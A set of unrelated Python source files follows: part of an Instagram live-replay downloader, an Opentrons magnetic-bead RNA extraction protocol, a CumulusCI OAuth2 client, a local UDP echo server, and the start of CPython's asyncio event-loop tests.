logger.info("Downloading replay comments.")
try:
get_replay_comments(comments_json_file)
except Exception as e:
logger.error('An error occurred while downloading comments: {:s}'.format(str(e)))
logger.info("Finished downloading replay {:s} of {:s}.".format(str(current), str(len(pil.replays_obj))))
helpers.remove_lock()
if current != len(pil.replays_obj):
logger.separator()
logger.separator()
logger.info("Finished downloading all available replays.")
helpers.remove_lock()
except Exception as e:
logger.error('Could not save replay: {:s}'.format(str(e)))
helpers.remove_lock()
except KeyboardInterrupt:
logger.separator()
logger.binfo('The download has been aborted by the user, exiting.')
helpers.remove_temp_folder()
helpers.remove_lock()
def download_following():
try:
is_checking = ''
if pil.dl_lives and pil.dl_replays:
is_checking = 'livestreams or replays'
elif pil.dl_lives and not pil.dl_replays:
is_checking = 'livestreams'
elif not pil.dl_lives and pil.dl_replays:
is_checking = 'replays'
logger.info("Checking following users for any {:s}.".format(is_checking))
broadcast_f_list = pil.ig_api.reels_tray()
# if pil.verbose:
# logger.plain(json.dumps(broadcast_f_list))
usernames_available_livestreams = []
usernames_available_replays = []
if broadcast_f_list['broadcasts'] and pil.dl_lives:
for broadcast_f in broadcast_f_list['broadcasts']:
username = broadcast_f['broadcast_owner']['username']
if username not in usernames_available_livestreams:
usernames_available_livestreams.append(username)
if broadcast_f_list.get('post_live', {}).get('post_live_items', []) and pil.dl_replays:
for broadcast_r in broadcast_f_list.get('post_live', {}).get('post_live_items', []):
for broadcast_f in broadcast_r.get("broadcasts", []):
username = broadcast_f['broadcast_owner']['username']
if username not in usernames_available_replays:
usernames_available_replays.append(username)
logger.separator()
available_total = list(usernames_available_livestreams)
available_total.extend(x for x in usernames_available_replays if x not in available_total)
if available_total:
logger.info("The following users have available {:s}.".format(is_checking))
logger.info(', '.join(available_total))
logger.separator()
iterate_users(available_total)
else:
logger.info("There are currently no available {:s}.".format(is_checking))
logger.separator()
except Exception as e:
logger.error("Could not finish checking following users: {:s}".format(str(e)))
except KeyboardInterrupt:
logger.separator()
logger.binfo('The checking process has been aborted by the user.')
logger.separator()
def iterate_users(user_list):
for user in user_list:
try:
if os.path.isfile(os.path.join(pil.dl_path, user + '.lock')):
logger.warn("Lock file is already present for '{:s}', there is probably another download "
"ongoing!".format(user))
logger.warn(
"If this is not the case, manually delete the file '{:s}' and try again.".format(user + '.lock'))
else:
logger.info("Launching daemon process for '{:s}'.".format(user))
start_result = helpers.run_command("{:s} -d {:s} -cp '{:s}' -dp '{:s}' {:s} {:s} {:s} {:s}".format(
("'" + pil.winbuild_path + "'") if pil.winbuild_path else "pyinstalive",
user,
pil.config_path,
pil.dl_path,
'--no-lives' if not pil.dl_lives else '',
'--no-replays' if not pil.dl_replays else '',
'--no-heartbeat' if not pil.do_heartbeat else '',
'--username {:s} --password {:s}'.format(pil.ig_user, pil.ig_pass) if pil.config_login_overridden else ''))
if start_result:
logger.warn("Could not start process: {:s}".format(str(start_result)))
else:
logger.info("Process started successfully.")
logger.separator()
time.sleep(2)
except Exception as e:
logger.warn("Could not start process: {:s}".format(str(e)))
except KeyboardInterrupt:
logger.binfo('The process launching has been aborted by the user.')
logger.separator()
break
def get_live_comments(comments_json_file):
try:
comments_downloader = CommentsDownloader(destination_file=comments_json_file)
first_comment_created_at = 0
try:
while not pil.broadcast_downloader.is_aborted:
if 'initial_buffered_duration' not in pil.livestream_obj and pil.broadcast_downloader.initial_buffered_duration:
pil.livestream_obj['initial_buffered_duration'] = pil.broadcast_downloader.initial_buffered_duration
comments_downloader.broadcast = pil.livestream_obj
first_comment_created_at = comments_downloader.get_live(first_comment_created_at)
except ClientError as e:
if not 'media has been deleted' in e.error_response:
logger.warn("Comment collection ClientError: %d %s" % (e.code, e.error_response))
try:
if comments_downloader.comments:
comments_downloader.save()
comments_log_file = comments_json_file.replace('.json', '.log')
comment_errors, total_comments = CommentsDownloader.generate_log(
comments_downloader.comments, pil.epochtime, comments_log_file,
comments_delay=pil.broadcast_downloader.initial_buffered_duration)
if len(comments_downloader.comments) == 1:
logger.info("Successfully saved 1 comment.")
#os.remove(comments_json_file)
logger.separator()
return True
else:
if comment_errors:
logger.warn(
"Successfully saved {:s} comments but {:s} comments are (partially) missing.".format(
str(total_comments), str(comment_errors)))
else:
logger.info("Successfully saved {:s} comments.".format(str(total_comments)))
#os.remove(comments_json_file)
logger.separator()
return True
else:
logger.info("There are no available comments to save.")
logger.separator()
return False
except Exception as e:
logger.error('Could not save comments: {:s}'.format(str(e)))
return False
except KeyboardInterrupt as e:
logger.binfo("Downloading livestream comments has been aborted.")
return False
def get_replay_comments(comments_json_file):
try:
comments_downloader = CommentsDownloader(destination_file=comments_json_file)
comments_downloader.get_replay()
try:
if comments_downloader.comments:
comments_log_file = comments_json_file.replace('.json', '.log')
comment_errors, total_comments = CommentsDownloader.generate_log(
comments_downloader.comments, pil.livestream_obj.get('published_time'), comments_log_file,
comments_delay=0)
if total_comments == 1:
logger.info("Successfully saved 1 comment to logfile.")
#os.remove(comments_json_file)
logger.separator()
return True
else:
if comment_errors:
logger.warn(
"Successfully saved {:s} comments but {:s} comments are (partially) missing.".format(
str(total_comments), str(comment_errors)))
else:
logger.info("Successfully saved {:s} comments.".format(str(total_comments)))
#os.remove(comments_json_file)
logger.separator()
return True
else:
logger.info("There are no available comments to save.")
return False
except Exception as e:
logger.error('Could not save comments to logfile: {:s}'.format(str(e)))
return False
except KeyboardInterrupt as e:
logger.binfo("Downloading replay comments has been aborted.")
return False
|
station_B_framework.py
|
from opentrons.types import Point
import json
import os
import math
import threading
from time import sleep
metadata = {
'protocolName': 'Station B RNA Extraction',
'author': '',
'apiLevel': '2.3'
}
"""
Here is where you can define the parameters of your protocol:
NUM_SAMPLES: Number of samples to process in columns of 8 (1-96). The protocol will round up to the nearest column.
STARTING_VOL: Volume of sample + lysis buffer + internal controls + proteinase K (in ยตl) that will be removed initially (after bead addition).
ELUTION_VOL: Volume of final elution that will be transferred to a fresh PCR Plate at the end of the protocol (to be passed to qPCR assay).
TIP_TRACK: If True, will pick up tips starting after the last accessed up tip from the previous run. If False, will start at the first tip of the first tiprack.
PARK: If True, will store tips in a designated rack between reagent addition and supernatant removal. If False, will dispose tips after each step.
FLASH: If True, will flash lights if liquid waste or tip waste needs to be disposed of
"""
NUM_SAMPLES = 8
STARTING_VOL = 420
ELUTION_VOL = 50
TIP_TRACK = False
PARK = True
FLASH = True
# Definitions for deck light flashing
class CancellationToken:
def __init__(self):
self.is_continued = False
def set_true(self):
self.is_continued = True
def set_false(self):
self.is_continued = False
def turn_on_blinking_notification(hardware, pause):
while pause.is_continued:
hardware.set_lights(rails=True)
sleep(1)
hardware.set_lights(rails=False)
sleep(1)
def create_thread(ctx, cancel_token):
t1 = threading.Thread(target=turn_on_blinking_notification, args=(ctx._hw_manager.hardware, cancel_token))
t1.start()
return t1
# Start protocol
def run(ctx):
# Setup for flashing lights notification to empty trash
cancellationToken = CancellationToken()
"""
Here is where you can change the locations of your labware and modules
(note that this is the recommended configuration)
"""
magdeck = ctx.load_module('magdeck', '4')
magdeck.disengage()
magheight = 13.7
magplate = magdeck.load_labware('nest_96_wellplate_2ml_deep')
tempdeck = ctx.load_module('Temperature Module Gen2', '1')
flatplate = tempdeck.load_labware(
'opentrons_96_aluminumblock_nest_wellplate_100ul',)
waste = ctx.load_labware('nest_1_reservoir_195ml', '11',
'Liquid Waste').wells()[0].top()
res2 = ctx.load_labware(
'nest_12_reservoir_15ml', '2', 'reagent reservoir 2')
res1 = ctx.load_labware(
'nest_12_reservoir_15ml', '5', 'reagent reservoir 1')
num_cols = math.ceil(NUM_SAMPLES/8)
tips300 = [ctx.load_labware('opentrons_96_tiprack_300ul', slot, '200ยตl filtertiprack')
for slot in ['3', '6', '8', '9', '10']]
if PARK:
parkingrack = ctx.load_labware(
'opentrons_96_tiprack_300ul', '7', 'empty tiprack for parking')
parking_spots = parkingrack.rows()[0][:num_cols]
else:
tips300.insert(0, ctx.load_labware('opentrons_96_tiprack_300ul', '7',
'200ยตl filtertiprack'))
parking_spots = [None for none in range(12)]
# load P300M pipette
m300 = ctx.load_instrument(
'p300_multi_gen2', 'left', tip_racks=tips300)
"""
Here is where you can define the locations of your reagents.
"""
binding_buffer = res1.wells()[:6]
elution_solution = res1.wells()[-1]
wash1 = res2.wells()[:4]
wash2 = res2.wells()[4:8]
wash3 = res2.wells()[8:]
mag_samples_m = magplate.rows()[0][:num_cols]
elution_samples_m = flatplate.rows()[0][:num_cols]
magdeck.disengage() # just in case
tempdeck.set_temperature(4)
m300.flow_rate.aspirate = 50
m300.flow_rate.dispense = 150
m300.flow_rate.blow_out = 300
folder_path = '/data/B'
tip_file_path = folder_path + '/tip_log.json'
tip_log = {'count': {}}
if TIP_TRACK and not ctx.is_simulating():
if os.path.isfile(tip_file_path):
with open(tip_file_path) as json_file:
data = json.load(json_file)
if 'tips300' in data:
tip_log['count'][m300] = data['tips300']
else:
tip_log['count'][m300] = 0
else:
tip_log['count'][m300] = 0
else:
tip_log['count'] = {m300: 0}
tip_log['tips'] = {
m300: [tip for rack in tips300 for tip in rack.rows()[0]]}
tip_log['max'] = {m300: len(tip_log['tips'][m300])}
def _pick_up(pip, loc=None):
nonlocal tip_log
if tip_log['count'][pip] == tip_log['max'][pip] and not loc:
ctx.pause('Replace ' + str(pip.max_volume) + 'ยตl tipracks before \
resuming.')
pip.reset_tipracks()
tip_log['count'][pip] = 0
if loc:
pip.pick_up_tip(loc)
else:
pip.pick_up_tip(tip_log['tips'][pip][tip_log['count'][pip]])
tip_log['count'][pip] += 1
switch = True
drop_count = 0
drop_threshold = 120 # number of tips trash will accommodate before prompting user to empty
def _drop(pip):
nonlocal switch
nonlocal drop_count
side = 30 if switch else -18
drop_loc = ctx.loaded_labwares[12].wells()[0].top().move(
Point(x=side))
pip.drop_tip(drop_loc)
switch = not switch
drop_count += 8
if drop_count == drop_threshold:
# Setup for flashing lights notification to empty trash
if FLASH:
if not ctx._hw_manager.hardware.is_simulator:
cancellationToken.set_true()
thread = create_thread(ctx, cancellationToken)
m300.home()
ctx.pause('Please empty tips from waste before resuming.')
ctx.home() # home before continuing with protocol
if FLASH:
cancellationToken.set_false() # stop light flashing after home
thread.join()
drop_count = 0
waste_vol = 0
waste_threshold = 185000
def remove_supernatant(vol, park=False):
"""
`remove_supernatant` will transfer supernatant from the deepwell
extraction plate to the liquid waste reservoir.
:param vol (float): The amount of volume to aspirate from all deepwell
sample wells and dispense in the liquid waste.
:param park (boolean): Whether to pick up sample-corresponding tips
in the 'parking rack' or to pick up new tips.
"""
def _waste_track(vol):
nonlocal waste_vol
if waste_vol + vol >= waste_threshold:
# Setup for flashing lights notification to empty liquid waste
if FLASH:
if not ctx._hw_manager.hardware.is_simulator:
cancellationToken.set_true()
thread = create_thread(ctx, cancellationToken)
m300.home()
ctx.pause('Please empty liquid waste (slot 11) before resuming.')
ctx.home() # home before continuing with protocol
if FLASH:
cancellationToken.set_false() # stop light flashing after home
thread.join()
waste_vol = 0
waste_vol += vol
m300.flow_rate.aspirate = 30
num_trans = math.ceil(vol/200)
vol_per_trans = vol/num_trans
for i, (m, spot) in enumerate(zip(mag_samples_m, parking_spots)):
if park:
_pick_up(m300, spot)
else:
_pick_up(m300)
side = -1 if i % 2 == 0 else 1
loc = m.bottom(0.5).move(Point(x=side*2))
for _ in range(num_trans):
_waste_track(vol_per_trans)
if m300.current_volume > 0:
m300.dispense(m300.current_volume, m.top()) # void air gap if necessary
m300.move_to(m.center())
m300.transfer(vol_per_trans, loc, waste, new_tip='never',
air_gap=20)
m300.blow_out(waste)
m300.air_gap(20)
_drop(m300)
m300.flow_rate.aspirate = 150
def bind(vol, park=True):
"""
`bind` will perform magnetic bead binding on each sample in the
deepwell plate. Each channel of binding beads will be mixed before
transfer, and the samples will be mixed with the binding beads after
the transfer. The magnetic deck activates after the addition to all
samples, and the supernatant is removed after bead bining.
:param vol (float): The amount of volume to aspirate from the elution
buffer source and dispense to each well containing
beads.
:param park (boolean): Whether to save sample-corresponding tips
between adding elution buffer and transferring
supernatant to the final clean elutions PCR
plate.
"""
# add bead binding buffer and mix samples
for i, (well, spot) in enumerate(zip(mag_samples_m, parking_spots)):
source = binding_buffer[i//(12//len(binding_buffer))]
if park:
_pick_up(m300, spot)
else:
_pick_up(m300)
for _ in range(5):
m300.aspirate(180, source.bottom(0.5))
m300.dispense(180, source.bottom(5))
num_trans = math.ceil(vol/210)
vol_per_trans = vol/num_trans
for t in range(num_trans):
if m300.current_volume > 0:
m300.dispense(m300.current_volume, source.top()) # void air gap if necessary
m300.transfer(vol_per_trans, source, well.top(), air_gap=20,
new_tip='never')
if t == 0:
m300.air_gap(20)
m300.mix(5, 200, well)
m300.blow_out(well.top(-2))
m300.air_gap(20)
if park:
m300.drop_tip(spot)
else:
_drop(m300)
magdeck.engage(height=magheight)
ctx.delay(minutes=2, msg='Incubating on MagDeck for 2 minutes.')
# remove initial supernatant
remove_supernatant(vol+STARTING_VOL, park=park)
def wash(vol, source, mix_reps=15, park=True, resuspend=True):
"""
`wash` will perform bead washing for the extraction protocol.
:param vol (float): The amount of volume to aspirate from each
source and dispense to each well containing beads.
:param source (List[Well]): A list of wells from where liquid will be
aspirated. If the length of the source list
> 1, `wash` automatically calculates
the index of the source that should be
accessed.
:param mix_reps (int): The number of repititions to mix the beads with
specified wash buffer (ignored if resuspend is
False).
:param park (boolean): Whether to save sample-corresponding tips
between adding wash buffer and removing
supernatant.
:param resuspend (boolean): Whether to resuspend beads in wash buffer.
"""
if resuspend and magdeck.status == 'engaged':
magdeck.disengage()
num_trans = math.ceil(vol/200)
vol_per_trans = vol/num_trans
for i, (m, spot) in enumerate(zip(mag_samples_m, parking_spots)):
_pick_up(m300)
side = 1 if i % 2 == 0 else -1
loc = m.bottom(0.5).move(Point(x=side*2))
src = source[i//(12//len(source))]
for n in range(num_trans):
if m300.current_volume > 0:
m300.dispense(m300.current_volume, src.top())
m300.transfer(vol_per_trans, src, m.top(), air_gap=20,
new_tip='never')
if n < num_trans - 1: # only air_gap if going back to source
m300.air_gap(20)
if resuspend:
m300.mix(mix_reps, 150, loc)
m300.blow_out(m.top())
m300.air_gap(20)
if park:
m300.drop_tip(spot)
else:
_drop(m300)
if magdeck.status == 'disengaged':
magdeck.engage(height=magheight)
engage_seconds = 120 if resuspend else 30
ctx.delay(seconds=engage_seconds, msg='Incubating on MagDeck for \
' + str(engage_seconds) + ' seconds.')
remove_supernatant(vol, park=park)
def elute(vol, park=True):
"""
`elute` will perform elution from the deepwell extraciton plate to the
final clean elutions PCR plate to complete the extraction protocol.
:param vol (float): The amount of volume to aspirate from the elution
buffer source and dispense to each well containing
beads.
:param park (boolean): Whether to save sample-corresponding tips
between adding elution buffer and transferring
supernatant to the final clean elutions PCR
plate.
"""
# resuspend beads in elution
if magdeck.status == 'enagaged':
magdeck.disengage()
for i, (m, spot) in enumerate(zip(mag_samples_m, parking_spots)):
_pick_up(m300)
side = 1 if i % 2 == 0 else -1
loc = m.bottom(0.5).move(Point(x=side*2))
m300.aspirate(vol, elution_solution)
m300.move_to(m.center())
m300.dispense(vol, loc)
m300.mix(10, 0.8*vol, loc)
m300.blow_out(m.bottom(5))
m300.air_gap(20)
if park:
m300.drop_tip(spot)
else:
_drop(m300)
# agitate after resuspension
for i, (m, spot) in enumerate(zip(mag_samples_m, parking_spots)):
if park:
_pick_up(m300, spot)
else:
_pick_up(m300)
side = 1 if i % 2 == 0 else -1
loc = m.bottom(0.5).move(Point(x=side*2))
m300.mix(10, 0.8*vol, loc)
m300.blow_out(m.bottom(5))
m300.air_gap(20)
if park:
m300.drop_tip(spot)
else:
_drop(m300)
magdeck.engage(height=magheight)
ctx.delay(minutes=2, msg='Incubating on magnet at room temperature \
for 2 minutes')
for i, (m, e, spot) in enumerate(
zip(mag_samples_m, elution_samples_m, parking_spots)):
if park:
_pick_up(m300, spot)
else:
_pick_up(m300)
side = -1 if i % 2 == 0 else 1
loc = m.bottom(0.5).move(Point(x=side*2))
m300.transfer(vol, loc, e.bottom(5), air_gap=20, new_tip='never')
m300.blow_out(e.top(-2))
m300.air_gap(20)
m300.drop_tip()
"""
Here is where you can call the methods defined above to fit your specific
protocol. The normal sequence is:
- bind(200)
- wash(500, wash1)
- wash(500, wash2)
- wash(500, wash3)
- elute(50)
"""
|
client.py
|
import http.client
import logging
import os
import random
import re
import socket
import ssl
import threading
import time
import webbrowser
from datetime import datetime, timedelta
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
from typing import Dict, Optional, Union
from urllib.parse import parse_qs, quote, urlparse
import requests
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from pydantic import BaseModel
from cumulusci.core.exceptions import CumulusCIUsageError
from cumulusci.oauth.exceptions import OAuth2Error
from cumulusci.utils.http.requests_utils import safe_json_from_response
logger = logging.getLogger(__name__)
HTTP_HEADERS = {"Content-Type": "application/x-www-form-urlencoded"}
SANDBOX_DOMAIN_RE = re.compile(
r"^https://([\w\d-]+\.)?(test|cs\d+)(\.my)?\.salesforce\.com/?$"
)
SANDBOX_LOGIN_URL = (
os.environ.get("SF_SANDBOX_LOGIN_URL") or "https://test.salesforce.com"
)
PROD_LOGIN_URL = os.environ.get("SF_PROD_LOGIN_URL") or "https://login.salesforce.com"
PORT_IN_USE_ERR = "Cannot listen for callback, as port {} is already in use."
DEVICE_GRANT_TYPE = "urn:ietf:params:oauth:grant-type:device_code"
def create_key_and_self_signed_cert():
"""Create both a localhost.pem and key.pem file"""
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
subject = issuer = x509.Name(
[
x509.NameAttribute(NameOID.COUNTRY_NAME, "US"),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, "California"),
x509.NameAttribute(NameOID.LOCALITY_NAME, "San Francisco"),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, "Salesforce.com"),
]
)
cert = (
x509.CertificateBuilder()
.subject_name(subject)
.issuer_name(issuer)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(datetime.now())
.not_valid_after(datetime.now() + timedelta(hours=1))
.sign(key, hashes.SHA256())
)
with open("localhost.pem", "w") as f:
f.write(cert.public_bytes(serialization.Encoding.PEM).decode("latin1"))
with open("key.pem", "w") as f:
f.write(
key.private_bytes(
serialization.Encoding.PEM,
serialization.PrivateFormat.TraditionalOpenSSL,
serialization.NoEncryption(),
).decode("latin1")
)
class OAuth2ClientConfig(BaseModel):
client_id: str
client_secret: Optional[str] = None
auth_uri: str
token_uri: str
redirect_uri: Optional[str] = None
scope: Optional[str] = None
class OAuth2DeviceConfig(BaseModel):
device_code: str
user_code: str
verification_uri: str
verification_uri_complete: Optional[str] = None
expires_in: int
interval: int
grant_type: str = DEVICE_GRANT_TYPE
class OAuth2Client(object):
"""Represents an OAuth2 client with the ability to
execute different grant types.
Currently supported grant types include:
(1) Authorization Code - via auth_code_flow()
(2) Refresh Token - via refresh_token()
"""
response: Optional[requests.Response]
def __init__(self, client_config: Union[OAuth2ClientConfig, Dict]):
if isinstance(client_config, dict):
client_config = OAuth2ClientConfig(**client_config)
self.client_config = client_config
self.response = None
self.httpd = None
self.httpd_timeout = 300
def auth_code_flow(self, **kwargs) -> dict:
"""Completes the flow for the OAuth2 auth code grant type.
For more info on the auth code flow see:
https://www.oauth.com/oauth2-servers/server-side-apps/authorization-code/
@param auth_info instanace of OAuthInfo to use in the flow
@returns a dict of values returned from the auth server.
It will be similar in shape to:
{
"access_token":"<access_token>",
"token_type":"bearer",
"expires_in":3600,
"refresh_token":"<refresh_token>",
"scope":"create"
}
"""
assert self.client_config.redirect_uri
auth_uri_with_params = self._get_auth_uri(**kwargs)
# Open up an http daemon to listen for the
# callback from the auth server
self.httpd = self._create_httpd()
logger.info(
f"Spawning HTTP server at {self.client_config.redirect_uri}"
f" with timeout of {self.httpd.timeout} seconds.\n"
"If you are unable to log in to Salesforce you can"
" press <Ctrl+C> to kill the server and return to the command line."
)
# Open a browser and direct the user to login
webbrowser.open(auth_uri_with_params, new=1)
# Implement the 300 second timeout
timeout_thread = HTTPDTimeout(self.httpd, self.httpd_timeout)
timeout_thread.start()
# use serve_forever because it is smarter about polling for Ctrl-C
# on Windows.
#
# There are two ways it can be shutdown.
# 1. Get a callback from Salesforce.
# 2. Timeout
old_timeout = socket.getdefaulttimeout()
try:
# for some reason this is required for Safari (checked Feb 2021)
# https://github.com/SFDO-Tooling/CumulusCI/pull/2373
socket.setdefaulttimeout(3)
self.httpd.serve_forever()
finally:
socket.setdefaulttimeout(old_timeout)
if self.client_config.redirect_uri.startswith("https:"):
Path("key.pem").unlink()
Path("localhost.pem").unlink()
# timeout thread can stop polling and just finish
timeout_thread.quit()
self.validate_response(self.response)
return safe_json_from_response(self.response)
def _get_auth_uri(self, **kwargs):
url = self.client_config.auth_uri
url += "?response_type=code"
url += f"&client_id={self.client_config.client_id}"
url += f"&redirect_uri={self.client_config.redirect_uri}"
if self.client_config.scope:
url += f"&scope={quote(self.client_config.scope)}"
for k, v in kwargs.items():
url += f"&{k}={quote(v)}"
return url
def _create_httpd(self):
"""Create an http daemon process to listen
for the callback from the auth server"""
url_parts = urlparse(self.client_config.redirect_uri)
use_https = url_parts.scheme == "https"
hostname = url_parts.hostname
port = url_parts.port
server_address = (hostname, port)
OAuthCallbackHandler.parent = self
try:
httpd = HTTPServer(server_address, OAuthCallbackHandler)
except OSError as e:
if self._address_in_use_error(e):
raise OAuth2Error(PORT_IN_USE_ERR.format(port))
else:
raise
if use_https:
if not Path("localhost.pem").is_file() or not Path("key.pem").is_file():
create_key_and_self_signed_cert()
httpd.socket = ssl.wrap_socket(
httpd.socket,
server_side=True,
certfile="localhost.pem",
keyfile="key.pem",
ssl_version=ssl.PROTOCOL_TLS,
)
httpd.timeout = self.httpd_timeout
return httpd
def _address_in_use_error(self, error: Exception):
"""Returns true if the error is caused by an 'address already in use'.
This presents differently based on the OS."""
# osx, linux, windows
error_codes = (48, 98, 10048)
return True if error.errno in error_codes else False
def auth_code_grant(self, auth_code):
"""Exchange an auth code for an access token"""
data = {
"client_id": self.client_config.client_id,
"client_secret": self.client_config.client_secret,
"grant_type": "authorization_code",
"redirect_uri": self.client_config.redirect_uri,
"code": auth_code,
}
return requests.post(
self.client_config.token_uri, headers=HTTP_HEADERS, data=data
)
def refresh_token(self, refresh_token):
data = {
"client_id": self.client_config.client_id,
"client_secret": self.client_config.client_secret,
"grant_type": "refresh_token",
"refresh_token": refresh_token,
}
response = requests.post(
self.client_config.token_uri, headers=HTTP_HEADERS, data=data
)
self.validate_response(response)
return safe_json_from_response(response)
def validate_response(self, response):
"""Subclasses can implement custom response validation"""
if response is None:
raise CumulusCIUsageError("Authentication timed out or otherwise failed.")
elif response.status_code == http.client.OK:
return
raise OAuth2Error(
f"OAuth failed\nstatus_code: {response.status_code}\ncontent: {response.content}"
)
class HTTPDTimeout(threading.Thread):
"""Establishes a timeout for a SimpleHTTPServer"""
# allow the process to quit even if the
# timeout thread is still alive
daemon = True
def __init__(self, httpd, timeout):
self.httpd = httpd
self.timeout = timeout
super().__init__()
def run(self):
"""Check every second for HTTPD or quit after timeout"""
target_time = time.time() + self.timeout
while time.time() < target_time:
time.sleep(1)
if not self.httpd:
break
# extremely minor race condition
if self.httpd: # pragma: no cover
self.httpd.shutdown()
def quit(self):
"""Quit before timeout"""
self.httpd = None
class OAuthCallbackHandler(BaseHTTPRequestHandler):
parent: Optional[OAuth2Client] = None
def do_GET(self):
args = parse_qs(urlparse(self.path).query, keep_blank_values=True)
if "error" in args:
http_status = http.client.BAD_REQUEST
http_body = f"error: {args['error'][0]}\nerror description: {args['error_description'][0]}"
else:
http_status = http.client.OK
emoji = random.choice(["๐", "๐", "๐๐ฟ", "๐ฅณ", "๐"])
http_body = f"""<html>
<h1 style="font-size: large">{emoji}</h1>
<p>Congratulations! Your authentication succeeded.</p>"""
auth_code = args["code"]
self.parent.response = self.parent.auth_code_grant(auth_code)
if self.parent.response.status_code >= http.client.BAD_REQUEST:
http_status = self.parent.response.status_code
http_body = self.parent.response.text
self.send_response(http_status)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.end_headers()
self.wfile.write(http_body.encode("utf-8"))
if self.parent.response is None:
response = requests.Response()
response.status_code = http_status
response._content = http_body
self.parent.response = response
# https://docs.python.org/3/library/socketserver.html#socketserver.BaseServer.shutdown
# shutdown() must be called while serve_forever() is running in a different thread otherwise it will deadlock.
threading.Thread(target=self.server.shutdown).start()
def get_device_code(config: OAuth2ClientConfig) -> dict:
"""Initiates the flow for the OAuth2 device authorization grant type.
For more info on the auth code flow see:
https://datatracker.ietf.org/doc/html/rfc8628
@param config instanace of OAuth2ClientConfig to use in the flow
@returns a dict of values returned from the auth server.
It will be similar in shape to:
{
"device_code":"<device_verification_code>",
"user_code":"<user_verification_code>",
"verification_uri": <end_user_verification_uri>,
"verification_uri_complete": <end_user_verification_uri+user_code>,
"expires_in":3600,
"interval": 5
}
"""
data = config.dict(include={"client_id", "scope"})
response = requests.post(
config.auth_uri, data=data, headers={"Accept": "application/json"}
)
response.raise_for_status()
return response.json()
def get_device_oauth_token(
client_config: OAuth2ClientConfig, device_config: OAuth2DeviceConfig
) -> dict:
"""Polls the authorization server for user authorization.
@param client_config client settings, including token_uri, the URI to poll
@param device_config server settings, including the device_code returned
from the auth server.
@returns a dict including the access token.
{
"access_token": "gho_16C7e42F292c6912E7710c838347Ae178B4a",
"token_type": "bearer",
"scope": "user"
}
"""
data = device_config.dict(include={"device_code", "grant_type"})
data["client_id"] = client_config.client_id
AUTH_PENDING_ERROR = "authorization_pending"
SLOW_DOWN_ERROR = "slow_down"
response_dict = {}
time_remaining = device_config.expires_in
while time_remaining > 0:
response = requests.post(
client_config.token_uri, data=data, headers={"Accept": "application/json"}
)
response_dict = response.json()
response.raise_for_status() # Expected errors' status is 200
if "access_token" in response_dict:
break
if response_dict["error"] in (SLOW_DOWN_ERROR, AUTH_PENDING_ERROR):
# server backoff
wait_secs = response_dict.get("interval", device_config.interval)
# If waiting on the user, wait some more.
time_remaining -= wait_secs
time.sleep(wait_secs)
else:
# Some other error has occurred, so
handle_device_token_request_error(response_dict)
return response_dict
def handle_device_token_request_error(response_dict: dict) -> None:
error_code = response_dict["error"]
error_msgs = {"expired_token": "Please retry."}
raise OAuth2Error(
f"Authorization failed, error code: {error_code}, {error_msgs.get(error_code)}. See: {response_dict['error_uri']}"
)
|
udp_listen.py
|
#!/usr/bin/python3
# import socket
import threading
import socketserver
class MyUDPHandler(socketserver.BaseRequestHandler):
def handle(self):
data = self.request[0].strip()
socket = self.request[1]
print(f'client {self.client_address}\n\twrote {data}\n\tto {self.server.server_address}')
# send back message in uppercase as confirmation (comment out if not needed)
socket.sendto(data.upper(), self.client_address)
def start_udpserv(port=6969):
with socketserver.UDPServer(('127.0.0.1', port), MyUDPHandler) as server:
print(f'now listening on {server.server_address}')
server.serve_forever()
# create udp server for each port in port_list
port_list = [8080, 8081]
threads = [threading.Thread(target=start_udpserv, args=(p,)) for p in port_list]
# start threads to listen
print(f"running port listening on threads:\n\t{port_list}\n")
for t in threads:
t.start()
|
test_events.py
|
"""Tests for events.py."""
import collections.abc
import concurrent.futures
import functools
import io
import os
import platform
import re
import signal
import socket
try:
import ssl
except ImportError:
ssl = None
import subprocess
import sys
import tempfile
import threading
import time
import errno
import unittest
from unittest import mock
import weakref
if sys.platform != 'win32':
import tty
import asyncio
from asyncio import base_events
from asyncio import constants
from asyncio import coroutines
from asyncio import events
from asyncio import proactor_events
from asyncio import selector_events
from test.test_asyncio import utils as test_utils
from test import support
def broken_unix_getsockname():
"""Return True if the platform is Mac OS 10.4 or older."""
if sys.platform.startswith("aix"):
return True
elif sys.platform != 'darwin':
return False
version = platform.mac_ver()[0]
version = tuple(map(int, version.split('.')))
return version < (10, 5)
def _test_get_event_loop_new_process__sub_proc():
async def doit():
return 'hello'
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
return loop.run_until_complete(doit())
class CoroLike:
def send(self, v):
pass
def throw(self, *exc):
pass
def close(self):
pass
def __await__(self):
pass
class MyBaseProto(asyncio.Protocol):
connected = None
done = None
def __init__(self, loop=None):
self.transport = None
self.state = 'INITIAL'
self.nbytes = 0
if loop is not None:
self.connected = asyncio.Future(loop=loop)
self.done = asyncio.Future(loop=loop)
def connection_made(self, transport):
self.transport = transport
assert self.state == 'INITIAL', self.state
self.state = 'CONNECTED'
if self.connected:
self.connected.set_result(None)
def data_received(self, data):
assert self.state == 'CONNECTED', self.state
self.nbytes += len(data)
def eof_received(self):
assert self.state == 'CONNECTED', self.state
self.state = 'EOF'
def connection_lost(self, exc):
assert self.state in ('CONNECTED', 'EOF'), self.state
self.state = 'CLOSED'
if self.done:
self.done.set_result(None)
class MyProto(MyBaseProto):
def connection_made(self, transport):
super().connection_made(transport)
transport.write(b'GET / HTTP/1.0\r\nHost: example.com\r\n\r\n')
class MyDatagramProto(asyncio.DatagramProtocol):
done = None
def __init__(self, loop=None):
self.state = 'INITIAL'
self.nbytes = 0
if loop is not None:
self.done = asyncio.Future(loop=loop)
def connection_made(self, transport):
self.transport = transport
assert self.state == 'INITIAL', self.state
self.state = 'INITIALIZED'
def datagram_received(self, data, addr):
assert self.state == 'INITIALIZED', self.state
self.nbytes += len(data)
def error_received(self, exc):
assert self.state == 'INITIALIZED', self.state
def connection_lost(self, exc):
assert self.state == 'INITIALIZED', self.state
self.state = 'CLOSED'
if self.done:
self.done.set_result(None)
class MyReadPipeProto(asyncio.Protocol):
done = None
def __init__(self, loop=None):
self.state = ['INITIAL']
self.nbytes = 0
self.transport = None
